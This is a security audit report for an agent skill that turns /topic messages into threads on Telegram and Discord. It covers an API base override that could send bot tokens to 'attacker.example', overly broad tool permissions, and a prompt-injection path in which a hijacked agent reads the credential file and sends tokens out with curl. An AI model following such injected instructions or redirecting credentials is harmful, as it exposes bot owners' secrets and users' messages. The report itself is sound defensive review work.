Back to skill

Security audit

autothread

Security checks for vulnerabilities and agentic risk

Overview

The skill does what it claims, but it has review-worthy gaps around credential-bearing API calls and overly broad tool access.

Review before installing. Use this only with bots/accounts whose permissions are limited to the groups or servers where /topic should work, avoid using it on sensitive messages, and ensure the runtime environment cannot set AUTOTHREAD_API_BASE to an arbitrary host. Prefer an updated version that removes the broad direct tool permissions and validates or removes API endpoint overrides.

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (4)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/autothread-telegram.sh:39
Finding
Unrestricted Telegram API endpoint override can disclose bot credentials and message content<![CDATA[ ## Vulnerability Details **File Location**: `scripts/autothread-telegram.sh:39-46, 81-83, 101-105, 113-117` **Vulnerability Type**: Unvalidated security-sensitive endpoint override **Risk Level**: High ### Vulnerable Code ```bash # AUTOTHREAD_OVERRIDE_TOKEN lets wrapper adapters (e.g. Nicegram) inject # a platform-specific token instead of the default Telegram one. BOT_TOKEN="${AUTOTHREAD_OVERRIDE_TOKEN:-}" if [ -z "$BOT_TOKEN" ]; then BOT_TOKEN=$(autothread_config_get '.channels.telegram.botToken // empty') fi # AUTOTHREAD_API_BASE is overridable for offline testing with a mock API. API="${AUTOTHREAD_API_BASE:-https://api.telegram.org}" ``` The attacker-controlled endpoint is subsequently used in requests containing the bot token, message content, sender attribution, and destination identifiers: ```bash CREATE_RESULT=$(curl -s "$API/bot${BOT_TOKEN}/createForumTopic" \ -d "chat_id=${CHAT_ID}" \ --data-urlencode "name=${TITLE}") ``` ```bash SEND_RESULT=$(curl -s "$API/bot${BOT_TOKEN}/sendMessage" \ -d "chat_id=${CHAT_ID}" \ -d "message_thread_id=${TOPIC_ID}" \ --data-urlencode "text=${QUOTED}" \ -d "parse_mode=HTML") ``` ```bash FWD_RESULT=$(curl -s "$API/bot${BOT_TOKEN}/forwardMessage" \ -d "chat_id=${CHAT_ID}" \ -d "from_chat_id=${CHAT_ID}" \ -d "message_id=${MESSAGE_ID}" \ -d "message_thread_id=${TOPIC_ID}") ``` ### Technical Analysis The script trusts the inherited `AUTOTHREAD_API_BASE` environment variable without validating its scheme, hostname, port, or destination. The Telegram bot token is embedded directly in each request URL as `/bot${BOT_TOKEN}/...`. If an attacker can influence the environment in which the adapter runs, the API base can be changed to an attacker-controlled HTTP or HTTPS service. The next invocation then transmits the bot token in the URL. Depending on which branch executes, the request also includes the chat ID, topic title, original message content, sender name, or original message ID. Thi ...[truncated 1300 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Hard-code `https://api.telegram.org` for production operation. 2. Remove `AUTOTHREAD_API_BASE` from the production adapter. 3. If mock-server support is required, require an explicit test mode such as `AUTOTHREAD_TEST_MODE=1`. 4. In test mode, allow only loopback destinations such as `https://127.0.0.1:<approved-port>` or a Unix socket. 5. Reject non-HTTPS destinations and validate the parsed hostname against an exact allowlist. 6. Do not place credentials in URLs when an API supports safer authentication mechanisms. Telegram requires its current URL token format, making strict destination validation especially important. 7. Sanitize the environment in the parent service before invoking adapters. 8. Add tests verifying that arbitrary domains, user-info URLs, redirects, and plaintext HTTP endpoints are rejected. 9. Consider using `curl --proto '=https' --max-redirs 0 --fail-with-body` for production requests. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/autothread-discord.sh:37
Finding
Unrestricted Discord API endpoint override can disclose the bot token and reposted content<![CDATA[ ## Vulnerability Details **File Location**: `scripts/autothread-discord.sh:37-40, 75, 85-89, 104-108` **Vulnerability Type**: Unvalidated security-sensitive endpoint override **Risk Level**: High ### Vulnerable Code ```bash API_BASE="${AUTOTHREAD_API_BASE:-https://discord.com/api/v10}" # ── config ────────────────────────────────────────────────────────── BOT_TOKEN=$(autothread_config_get '.channels.discord.token // empty') ``` The unvalidated endpoint receives authenticated requests: ```bash CHANNEL_INFO=$(curl -s -H "Authorization: Bot ${BOT_TOKEN}" "$API_BASE/channels/${CHANNEL_ID}") ``` ```bash CREATE_RESULT=$(curl -s -X POST \ -H "Authorization: Bot ${BOT_TOKEN}" \ -H "Content-Type: application/json" \ -d "$PAYLOAD" \ "$API_BASE/channels/${CHANNEL_ID}/messages/${MESSAGE_ID}/threads") ``` ```bash SEND_RESULT=$(curl -s -X POST \ -H "Authorization: Bot ${BOT_TOKEN}" \ -H "Content-Type: application/json" \ -d "$PAYLOAD" \ "$API_BASE/channels/${THREAD_ID}/messages") ``` ### Technical Analysis The inherited `AUTOTHREAD_API_BASE` variable can replace the trusted Discord API origin with an arbitrary destination. No scheme or hostname validation is performed before the Discord bot token is sent in the `Authorization` header. The first channel-information request is sufficient to disclose the token. Subsequent requests can additionally disclose thread titles, channel and message IDs, message content, and sender attribution. Because the endpoint may use plaintext HTTP, the token may also be exposed to network observers. The implementation does not enforce the documented claim that Discord information is sent only to `discord.com`. ### Attack Path 1. An attacker modifies the adapter's environment or a launcher that invokes it. 2. The attacker sets: ```bash AUTOTHREAD_API_BASE=https://attacker.example/api ``` 3. A user triggers the Discord adapter with `/topic`. 4. The script reads the legitimate Discord bot token from ` ...[truncated 854 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Hard-code `https://discord.com/api/v10` in production. 2. Remove the generic `AUTOTHREAD_API_BASE` override from normal runtime behavior. 3. If mock testing is necessary, enable endpoint substitution only under an explicit test flag and restrict it to loopback. 4. Parse and validate the destination rather than relying on prefix matching. Require an exact approved scheme, host, and port. 5. Invoke `curl` with controls such as: ```bash curl --proto '=https' --max-redirs 0 --fail-with-body ``` 6. Sanitize inherited environment variables in the OpenClaw launcher. 7. Add automated negative tests for arbitrary domains, plaintext HTTP, redirects, malformed URLs, and DNS-based bypass attempts. 8. Rotate the Discord bot token if the script has previously run in an environment where this variable may have been attacker-controlled. ]]>

T05 · Unauthorized Access and Privilege Escalation

Warning
Location
SKILL.md:29
Finding
Skill grants unnecessary direct access to credential files, networking, arbitrary Python, and messaging tools<![CDATA[ ## Vulnerability Details **File Location**: `SKILL.md:29-37` **Vulnerability Type**: Excessive tool permissions and violation of least privilege **Risk Level**: Medium ### Vulnerable Code ```yaml allowed-tools: - Bash(scripts/autothread-telegram.sh) - Bash(scripts/autothread-discord.sh) - Bash(scripts/autothread-signal.sh) - Bash(scripts/autothread-nicegram.sh) - Bash(curl) - Bash(jq) - Bash(signal-cli) - Bash(python3) - Read(~/.openclaw/openclaw.json) ``` ### Technical Analysis The declared workflow only requires the Agent to invoke one of four adapter scripts. Those adapters already read the required configuration and internally invoke `curl`, `jq`, `signal-cli`, or Python where needed. Granting the Agent direct access to these tools unnecessarily expands its authority: - `Read(~/.openclaw/openclaw.json)` exposes a credential-bearing configuration file directly to the Agent. - `Bash(curl)` provides a general outbound network channel. - `Bash(python3)` provides broad code-execution capability. - `Bash(signal-cli)` permits messaging operations outside the narrowly defined adapter workflow. - `Bash(jq)` can assist in extracting arbitrary secrets from the configuration when combined with read or shell access. These capabilities are broader than the task's legitimate needs and increase the consequences of prompt injection or other instruction compromise. ### Attack Path 1. An attacker supplies malicious content through a channel the Agent processes, such as a crafted `/topic` message. 2. The content attempts to redirect the Agent from the intended adapter workflow. 3. Because direct configuration reading and broad command tools are allowed, the compromised Agent can attempt to read `~/.openclaw/openclaw.json`. 4. It can extract tokens with `jq` or Python. 5. It can then use `curl` to transmit credentials or invoke platform APIs directly, or use `signal-cli` to send unauthorized messages. 6. These operations occur outside the v ...[truncated 796 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Restrict `allowed-tools` to the four adapter entry points: ```yaml allowed-tools: - Bash(scripts/autothread-telegram.sh) - Bash(scripts/autothread-discord.sh) - Bash(scripts/autothread-signal.sh) - Bash(scripts/autothread-nicegram.sh) ``` 2. Remove direct Agent permission for `curl`, `jq`, `python3`, and `signal-cli`. 3. Remove direct `Read(~/.openclaw/openclaw.json)` access; credential retrieval should remain encapsulated within narrowly scoped adapters. 4. Where supported, provide each adapter only the single platform credential it requires rather than access to the complete OpenClaw configuration. 5. Run adapters in a restricted environment with a sanitized variable set and limited filesystem access. 6. Apply outbound network controls so each adapter can contact only its approved service endpoint. 7. Add prompt-injection defenses that reject attempts to reinterpret message content as tool-use instructions. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/autothread-discord.sh:99
Finding
Discord reposts user-controlled content without suppressing mentions<![CDATA[ ## Vulnerability Details **File Location**: `scripts/autothread-discord.sh:99-108` **Vulnerability Type**: Unrestricted mention processing in bot-authored messages **Risk Level**: Medium ### Vulnerable Code ```bash if [ -n "$MSG" ]; then PAYLOAD=$(jq -n --arg msg "$MSG" --arg sender "$SENDER" \ '{content: ("> " + $msg + "\n— **" + $sender + "**")}') SEND_RESULT=$(curl -s -X POST \ -H "Authorization: Bot ${BOT_TOKEN}" \ -H "Content-Type: application/json" \ -d "$PAYLOAD" \ "$API_BASE/channels/${THREAD_ID}/messages") ``` ### Technical Analysis Both `$MSG` and `$SENDER` are user-controlled or externally supplied and are inserted into a Discord message without an `allowed_mentions` policy. JSON encoding prevents JSON injection, but it does not prevent Discord from interpreting mention syntax inside the resulting content. Discord can process forms such as: ```text @everyone @here <@USER_ID> <@&ROLE_ID> ``` Blockquote formatting does not reliably neutralize Discord mentions. Consequently, content copied by the bot may generate notifications that the original sender could not otherwise generate, depending on channel settings and the bot's permissions. ### Attack Path 1. A user submits a `/topic` message containing `@everyone`, `@here`, a role mention, or a user mention. 2. The Agent passes the text to `autothread-discord.sh`. 3. The script creates a public thread from the original message. 4. It reposts the supplied content as a new bot-authored message. 5. Discord parses the mention syntax because the payload does not restrict `allowed_mentions`. 6. Members, roles, or the broader server population receive unintended notifications where the bot has sufficient permission. ### Impact Assessment The vulnerability can cause notification spam, unwanted role or user pings, disruption in high-traffic servers, and abuse of the bot's elevated mention permissions. The scope is generally limited to the Discord server and thread in w ...[truncated 168 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Add an explicit `allowed_mentions` object that disables all mention parsing: ```bash PAYLOAD=$(jq -n --arg msg "$MSG" --arg sender "$SENDER" \ '{ content: ("> " + $msg + "\n— **" + $sender + "**"), allowed_mentions: { parse: [], users: [], roles: [], replied_user: false } }') ``` Also: 1. Apply the same policy to every Discord message generated from user-controlled content. 2. Consider neutralizing markdown in sender attribution to prevent presentation manipulation. 3. Add tests covering `@everyone`, `@here`, user mentions, role mentions, and mention syntax inside blockquotes. 4. Avoid relying exclusively on Discord permission settings, because they may differ across servers and can change over time. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Rogue AgentSelf-Modification, Session Persistence
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (8)

Lp1

High
Category
MCP Least Privilege
Confidence
75% confidence
Finding
The skill uses 'shell' capability that is not listed in its permissions. This may indicate deceptive intent or missing permission declarations.

Lp1

High
Category
MCP Least Privilege
Confidence
75% confidence
Finding
The skill uses 'env' capability that is not listed in its permissions. This may indicate deceptive intent or missing permission declarations.

Session Persistence

Medium
Category
Rogue Agent
Content
### Discord

1. Create an application at https://discord.com/developers → **Bot** → copy the token.
2. Invite the bot to your server via **OAuth2 → URL Generator**: scope `bot`, and check `View Channel`, `Send Messages`, `Create Public Threads`, `Send Messages in Threads`, `Read Message History`. (This only registers the bot with your server — the skill itself installs no cron jobs, startup scripts, daemons, or state files; each `/topic` invocation runs once and exits.)
3. Enable **Developer Mode** in Discord (Settings → Advanced), then right-click a text channel → *Copy Channel ID*, and right-click any message in it → *Copy Message ID*.
4. Run the adapter for real:
Confidence
60% confidence
Finding
Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

External Transmission

Medium
Category
Data Exfiltration
Content
# ── create the thread from the original message ─────────────────────
PAYLOAD=$(jq -n --arg name "$TITLE" '{"name": $name}')
CREATE_RESULT=$(curl -s -X POST \
  -H "Authorization: Bot ${BOT_TOKEN}" \
  -H "Content-Type: application/json" \
  -d "$PAYLOAD" \
Confidence
70% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
# ── create the thread from the original message ─────────────────────
PAYLOAD=$(jq -n --arg name "$TITLE" '{"name": $name}')
CREATE_RESULT=$(curl -s -X POST \
  -H "Authorization: Bot ${BOT_TOKEN}" \
  -H "Content-Type: application/json" \
  -d "$PAYLOAD" \
Confidence
70% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
TITLE=$(printf '%s' "$TITLE" | cut -c1-128)

# ── create forum topic ──────────────────────────────────────────────
CREATE_RESULT=$(curl -s "$API/bot${BOT_TOKEN}/createForumTopic" \
  -d "chat_id=${CHAT_ID}" \
  --data-urlencode "name=${TITLE}")
Confidence
70% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
QUOTED="<blockquote>${ESC_MSG}</blockquote>
— <b>${ESC_SENDER}</b>"

  SEND_RESULT=$(curl -s "$API/bot${BOT_TOKEN}/sendMessage" \
    -d "chat_id=${CHAT_ID}" \
    -d "message_thread_id=${TOPIC_ID}" \
    --data-urlencode "text=${QUOTED}" \
Confidence
70% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
fi
else
  # Media — forward to preserve attachments
  FWD_RESULT=$(curl -s "$API/bot${BOT_TOKEN}/forwardMessage" \
    -d "chat_id=${CHAT_ID}" \
    -d "from_chat_id=${CHAT_ID}" \
    -d "message_id=${MESSAGE_ID}" \
Confidence
70% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Static analysis

No suspicious patterns detected.